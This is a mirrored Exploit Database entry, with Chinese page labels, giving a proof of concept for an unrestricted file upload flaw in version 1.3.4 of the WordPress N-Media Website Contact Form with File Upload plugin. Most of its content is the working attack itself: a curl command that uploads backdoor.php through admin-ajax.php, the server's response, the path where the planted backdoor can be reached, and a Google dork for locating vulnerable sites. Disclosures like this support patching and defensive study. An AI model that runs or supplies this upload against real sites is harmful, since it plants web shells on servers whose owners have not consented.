WordPress Plugin N-Media Website Contact Form with File Upload 1.3.4 – Arbitrary File Upload (1)

• Exploit Database
• 111 阅读

• 作者： Claudio Viviani
  日期： 2015-04-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36738/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56

  ######################   # Exploit Title : WordPress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload Vulnerability   # Exploit Author : Claudio Viviani     # Software Link : https://downloads.wordpress.org/plugin/website-contact-form-with-file-upload.1.3.4.zip   # Date : 2015-04-1   # Dork Google: index of website-contact-form-with-file-upload index of /uploads/contact_files/   # Tested on : Linux BackBox 4.0 / curl 7.35.0   #####################   # Info :   The "upload_file()" ajax function is affected from unrestircted file upload vulnerability.     ######################   # PoC:   curl -k -X POST -F "action=upload" -F "Filedata=@./backdoor.php" -F "action=nm_webcontact_upload_file" http://VICTIM/wp-admin/admin-ajax.php Response: {"status":"uploaded","filename":"1427927588-backdoor.php"}     ######################   # Backdoor Location:   http://VICTIM/wp-content/uploads/contact_files/1427927588-backdoor.php   #####################   Discovered By : Claudio Viviani http://www.homelab.it http://ffhd.homelab.it (Free Fuzzy Hashes Database) info@homelab.it homelabit@protonmail.ch   https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww   #####################